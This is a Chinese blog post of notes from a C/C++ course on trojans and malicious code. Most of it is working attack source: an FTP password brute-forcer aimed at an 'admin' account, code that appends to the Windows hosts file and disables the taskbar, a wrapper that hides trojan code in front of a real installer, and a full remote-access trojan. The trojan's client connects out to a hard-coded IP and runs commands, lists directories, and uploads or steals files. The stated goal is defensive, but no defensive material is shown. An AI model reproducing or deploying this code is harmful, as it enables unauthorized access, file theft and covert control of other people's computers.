1. 程式人生 > >傳智播客c/c++公開課學習筆記--C語言與木馬惡意程式碼分析和360安全防護揭祕

傳智播客c/c++公開課學習筆記--C語言與木馬惡意程式碼分析和360安全防護揭祕

【課程簡介】

C/C++語言是除了彙編之外,最接近底層的計算機語言,目前windows,linux,iOS,Android等主流作業系統都是用C/C++編寫的,所以很多病毒、木馬也都是用C/C++實現的。課程的目的就是通過C語言揭祕木馬和各種遠端控制軟體的實現原理以及如何防護。 

【課程知識點】

1、木馬入侵系統的方式;

2、木馬入侵到宿主目標後的關鍵行為分析;

3、可信任埠以及埠掃描技術;

4、遠端控制的實現程式碼實現;

5、惡意程式碼中使用TCP、UDP協議與防火牆穿越技術;

6、360網路安全防護的實現原理。

窮舉密碼暴力破解ftp賬戶的密碼:

#include <stdio.h>
#include <string.h>
#define CONTENT "open %s\nuser\n%s\n%s\nbye\n"
int write_file(const char *ip, const char *user, const char *passwd)
{
	FILE *p = fopen("a.txt", "w");
	if (p)
	{
		char buf[1024] = { 0 };
		sprintf(buf, CONTENT, ip, user, passwd);
		fputs(buf, p);
		fclose(p);
		return 0;//如果成功,返回0
	}
	return -1;//失敗,-1
}
int main()
{
	int i;
	for (i = 0; i < 1000000; i++)//假設密碼全部由數字組成
	{
		char pass[100] = { 0 };
		sprintf(pass, "%06d", i);//格式化為字串
		if (write_file("192.168.101.138", "admin", pass) == 0)
		{
			FILE *p = _popen("ftp -n -s:a.txt", "r");
			while (!feof(p))
			{
				char buf[1024] = { 0 };
				fgets(buf, sizeof(buf), p);
				if (strncmp(buf, "230", 3) == 0)//根據返回值進行判斷 230 代表成功, 
				{
					printf("pass:%s\n", pass);
					return 0;
				}
			}
			_pclose(p);
		}
	}
	return 0;
}

功能函式:

鎖死工作列

// lockmask.cpp : 定義應用程式的入口點。
//


#include "stdafx.h"
#include "lockmask.h"

// 功能函式 
/*
修改應用程式圖示
vs:替換工程名.ico檔案
QT:a.找到一張圖片.ico,名字改為myapp.ico
b.建立文字文件myapp.rc。 內部新增 IDI_ICON1  ICON DISCARDABLE "myapp.ico"
c. 在myapp.pro檔案最後加上RC_FILE=myapp.rc, 重新生成之後,就修改成功了;
*/

/*
vs2013辯詞額不需要依賴庫,同時相容xp的專案
專案--屬性--配置屬性--常規--平臺工具集--windwos xp
專案--屬性--配置屬性--c/c++ --程式碼生成--執行庫--多執行緒(/MT).
*/

#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <Windows.h>
#include <ShellAPI.h>

#pragma warning(disable:4996)

void getWinVersion()//得到win版本
{
	OSVERSIONINFO a;
	a.dwOSVersionInfoSize = sizeof(a);
	GetVersionEx(&a);
}

int setHosts(const char *IP, const char *domain)//修改hosts檔案
{
	char s[100] = { 0 };
	GetSystemDirectoryA(s, sizeof(s));//得到windows系統目錄
	char path[100] = { 0 };
	sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
	char content[1024] = { 0 };
	sprintf(content, "%s %s", IP, domain);
	FILE *p = fopen(path, "a");//開啟hosts檔案
	if (p)
	{
		fputs(content, p);
		fclose(p);
		return 0;
	}
	return -1;
}

HWND getTask()//得到工作列控制代碼
{
	typedef HWND(WINAPI *PROCGETTASKMANWND)(void);//什麼一個HWND func();型別的函式指標
	PROCGETTASKMANWND GetTaskmanWindow;//定義函式指標變數
	HMODULE hUser32 = GetModuleHandleA("user32");//引用user32.dll庫
	if (!hUser32)
		return NULL;
	GetTaskmanWindow = (PROCGETTASKMANWND)GetProcAddress(hUser32, "GetTaskmanWindow");
	if (!GetTaskmanWindow)
		return NULL;
	HWND h = GetTaskmanWindow();
	return GetParent(GetParent(h));
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
	HWND h = getTask();
	//EnableWindow(h, false);//將工作列設定為不可用
	EnableWindow(h, true);//將工作列設定為可用
	return 0;
}

安裝程式加殼

// setupShell.cpp : 定義應用程式的入口點。
//

#include "stdafx.h"
#include "setupShell.h"

int SetupShell()//setup.exe安裝程式加殼
{
	STARTUPINFO si;
	memset(&si, 0, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO);
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	PROCESS_INFORMATION pi;
	memset(&pi, 0, sizeof(PROCESS_INFORMATION));
	if (CreateProcess(TEXT("setup.dat"),
		NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
	{
		CloseHandle(pi.hThread);
		CloseHandle(pi.hProcess);
		return 0;
	}
	return -1;
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
	//這裡是木馬程式的程式碼


	//

	SetupShell();

	return 0;
}



木馬病毒攻擊原理演示


木馬服務端:

//gcc -o server server.c -L. -lmysock 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include "mysock.h"

//8192是8k
#define BUFSIZE 8192

void getfile(int sock, const char *buf)
{
	char srcFile[256] = { 0 };
	char destFile[256] = { 0 };
	//得到使用者輸入的原始檔名和目標檔名
	sscanf(buf, "get %s %s", srcFile, destFile);
	char cmd[1024] = { 0 };
	sprintf(cmd, "get %s", srcFile);
	tcp_send(sock, cmd, strlen(cmd));//將原始檔名發
	memset(cmd, 0, sizeof(cmd));
	tcp_recv(sock, cmd, sizeof(cmd));//接收檔案大小,格式為字串
	int len = 0;
	sscanf(cmd, "%d", &len);//將檔案大小轉化為數字

	//如果檔案大於0個位元組
	if (len > 0)
	{
		FILE *p = fopen(destFile, "wb");//用寫的方式開啟目標檔案
		if (p)
		{
			char *content = (char *)malloc(len);
			memset(content, 0, len);
			//給目標回覆OK,表示已經準備好,可以接收檔案內容了
			tcp_send(sock, "OK", 2);

			//根據len的大小,迴圈接收資料,直到收到了len位元組個數據,就停止接收
			int rc = 0;
			while (rc < len)
			{
				int aa = tcp_recv(sock, &content[rc], len - rc);
				rc += aa;
			}
			
			//將收到的內容寫入檔案
			fwrite(content, len, 1, p);
			free(content);
			fclose(p);
			printf("success\n");
		}
		else
		{
			printf("open %s fail\n", destFile);
		}
	}
}

void putfile(int sock, const char *buf)
{
	char srcFile[256] = { 0 };
	char destFile[256] = { 0 };
	//得到使用者輸入的原始檔名和目標檔名
	sscanf(buf, "put %s %s", srcFile, destFile);

	//用讀的方式開啟原始檔
	FILE *p = fopen(srcFile, "rb");
	if (p)
	{
		char cmd[1024] = { 0 };
		int len = fseek(p, 0, SEEK_END);
		len = ftell(p);//得到檔案長度
		if (len > 0)
		{	
			//格式化字串為put 目標檔名 檔案大小
			sprintf(cmd, "put %s %d", destFile, len);
			//傳送命令
			tcp_send(sock, cmd, strlen(cmd));
			memset(cmd, 0, sizeof(cmd));
			//接收回復
			tcp_recv(sock, cmd, sizeof(cmd));
			//如果回覆內容為OK,代表對方已經做好接收檔案的準備
			if (strcmp(cmd, "OK") == 0)
			{
				//根據檔案大小,在堆中開啟一個內容buffer
				char *content = (char *)malloc(len);

				//回到檔案開始位置
				fseek(p, 0, SEEK_SET);
				//將檔案內容一下讀入content
				fread(content, len, 1, p);

				//傳送檔案內容,如果檔案內容很大,那麼迴圈傳送,直到傳送完畢
				int rc = 0;
				while (rc < len)
				{
					int aa = tcp_send(sock, &content[rc], len - rc);
					rc += aa;
				}
				
				//釋放堆記憶體內容
				free(content);
			}
		}
		fclose(p);
		memset(cmd, 0, sizeof(cmd));
		tcp_recv(sock, cmd, sizeof(cmd));
		printf("%s\n", cmd);
	}
	else
	{
		printf("%s open fail, %s\n", srcFile, strerror(errno));
	}
}

int main()
{
	//建立一個TCP socket
	int server_sock = create_socket(1);
	if (server_sock == -1)
	{
		printf("create error %s\n", strerror(errno));
		return 0;
	}

	//將socket繫結到8080埠
	int rc = bind_socket(server_sock, 8080);
	if (rc == -1)
	{
		printf("bind error %s\n", strerror(errno));
		return 0;
	}

	//開始listen
	rc = tcp_listen(server_sock);
	if (rc == -1)
	{
		printf("listen error %s\n", strerror(errno));
		return 0;
	}


	char IP[100] = { 0 };
	//開始等待,直到有連線,返回遠端連線的socket,IP為遠端IP地址
	int sock = tcp_accept(server_sock, IP);
	if (sock <= 0)
	{
		printf("accept error %s\n", strerror(errno));

	}
	printf("from %s\n", IP);
	char *buf = (char *)malloc(BUFSIZE);
	while (1)
	{
		memset(buf, 0, BUFSIZE);
		fgets(buf, BUFSIZE, stdin);
		buf[strlen(buf) - 1] = 0;//去掉字串最後的回車鍵

		//如果使用者輸入的為ls或者exec執行以下程式碼
		if ((strncmp(buf, "ls ", 3) == 0) || (strncmp(buf, "exec ", 5) == 0))
		{
			tcp_send(sock, buf, strlen(buf));//傳送指令
			memset(buf, 0, BUFSIZE);
			tcp_recv(sock, buf, BUFSIZE);//接收返回結果
			printf("%s\n", buf);//列印返回結果
		}
		else if (strncmp(buf, "get ", 4) == 0)//使用者輸入get命令
		{
			getfile(sock, buf);
		}
		else if (strncmp(buf, "put ", 4) == 0)//使用者輸入put命令
		{
			putfile(sock, buf);
		}
		else
		{
			printf("input command error,please input again\n");
		}
	}

	free(buf);
	close_socket(sock);//關閉連線

	return 0;
}

木馬客戶端:
// file.cpp : 定義應用程式的入口點。
#include "stdafx.h"
#include "file.h"
#include "mysock.h"
#include <stdio.h>

#pragma comment(lib, "mysock.lib")
#pragma warning(disable:4996)

//8192是8k
#define BUFSIZE 8192

int exec(int sock, const char *cmd)
{
	//執行指定的程式
	int rc = WinExec(cmd, SW_NORMAL);
	if (rc > 31)
	{
		//執行成功,回覆success
		tcp_send(sock, "success", 7);
		return 0;
	}
	else
	{
		//執行失敗,回覆fail
		tcp_send(sock, "fail", 4);
		return -1;
	}
}

int ls(int sock, const char *dir)
{
	char szFile[256] = { 0 };
	strcpy(szFile, dir);

	if (szFile[strlen(szFile) - 1] == '\\')
	{
		strcat(szFile, "*.*");
	}
	else
	{
		strcat(szFile, "\\*.*");
	}

	//得到指定目錄下的所有檔案
	WIN32_FIND_DATAA FindFileData;
	HANDLE hFind = FindFirstFileA(szFile, &FindFileData);
	if (hFind == INVALID_HANDLE_VALUE)
	{
		char tmp[1024] = { 0 };
		sprintf(tmp, "open %s fail", dir);
		tcp_send(sock, tmp, strlen(tmp));
		return -1;
	}
	char *buf = (char *)malloc(BUFSIZE);
	memset(buf, 0, BUFSIZE);
	//迴圈得到每個檔案,將結果放入buf
	while (1)
	{
		memset(szFile, 0, sizeof(szFile));
		if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
		{
			sprintf(szFile, "%s\t<DIR>\n", FindFileData.cFileName);
		}
		else
		{
			sprintf(szFile, "%s\n", FindFileData.cFileName);;
		}
		strcat(buf, szFile);
		if (!FindNextFileA(hFind, &FindFileData))
			break;
	}
	//將得到的檔案傳送出去
	tcp_send(sock, buf, strlen(buf));

	free(buf);

	FindClose(hFind);
	return 0;
}

int put(int sock, const char *cmd)
{
	char file[256] = { 0 };
	int len = 0;

	//得到檔名和檔案長度
	sscanf(cmd, "%s %d", file, &len);

	//用寫方式開啟檔案
	FILE *p = fopen(file, "wb");
	if (p && len)
	{
		//根據檔案大小,在堆中分配一塊記憶體
		char *buf = (char *)malloc(len);//在堆裡面開闢一個記憶體
		memset(buf, 0, len);

		//回覆OK,表示已經做好接收檔案的準備
		tcp_send(sock, "OK", 2);

		//接收資料,如果一次接收不完,迴圈接收
		int rc = 0;
		while (rc < len)
		{
			int aa = tcp_recv(sock, &buf[rc], len - rc);
			rc += aa;
		}

		//將收到的內容寫入檔案
		fwrite(buf, len, 1, p);

		free(buf);
		fclose(p);
		//回覆success,表示成功接收,並寫入檔案
		tcp_send(sock, "success", 7);
		return 0;
	}
	else
	{
		tcp_send(sock, "fail", 4);
		return -1;
	}
}

int get(int sock, const char *file)
{
	//用讀方式開啟檔案
	FILE *p = fopen(file, "rb");
	if (p)
	{
		int len = fseek(p, 0, SEEK_END);
		len = ftell(p);//得到檔案長度
		char cmd[100] = { 0 };
		sprintf(cmd, "%d", len);
		//傳送檔名和檔案長度
		tcp_send(sock, cmd, strlen(cmd));
		memset(cmd, 0, sizeof(cmd));
		//接收資料
		tcp_recv(sock, cmd, sizeof(cmd));
		//如果接收到的是OK,那麼開始傳送資料
		if (strcmp(cmd, "OK") == 0)
		{
			//根據檔案大小,在記憶體堆中分配記憶體
			char *buf = (char*)malloc(len);
			memset(buf, 0, len);
			//回到檔案開始位置
			fseek(p, 0, SEEK_SET);
			//將檔案內容讀取到buf中
			fread(buf, len, 1, p);

			//傳送檔案內容,如果一次傳送不完,迴圈傳送
			int rc = 0;
			while (rc < len)
			{
				int aa = tcp_send(sock, &buf[rc], len - rc);
				rc += aa;
			}
			free(buf);
		}
		fclose(p);
		return 0;
	}
	else
	{
		//如果檔案開啟失敗,回覆字元0
		tcp_send(sock, "0", 1);
		return -1;
	}
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
	_In_opt_ HINSTANCE hPrevInstance,
	_In_ LPTSTR    lpCmdLine,
	_In_ int       nCmdShow)
{
	init_socket();//初始化網路庫

	//建立一個TCP socket
	int sock = create_socket(1);
	if (sock == -1)
	{
		return 0;
	}

	//連線到目標伺服器
	int rc = tcp_connect(sock, "192.168.1.202", 8080);
	if (rc == -1)
	{
		return 0;
	}

	char *buf = (char *)malloc(BUFSIZE);

	//迴圈從目標伺服器接收指令
	while (1)
	{
		memset(buf, 0, BUFSIZE);
		int rc = tcp_recv(sock, buf, BUFSIZE);//接收來自與服務端的訊息
		if (rc <= 0)
			break;

		//接收到exec指令
		if (strncmp(buf, "exec ", 5) == 0)
		{
			exec(sock, &buf[5]);
		}

		//接收到ls指令
		if (strncmp(buf, "ls ", 3) == 0)
		{
			ls(sock, &buf[3]);
		}

		//接收到put指令
		if (strncmp(buf, "put ", 4) == 0)
		{
			put(sock, &buf[4]);
		}

		//接收到get指令
		if (strncmp(buf, "get ", 4) == 0)
		{
			get(sock, &buf[4]);
		}
	}

	free(buf);
	close_socket(sock);
	free_socket();

	return 0;
}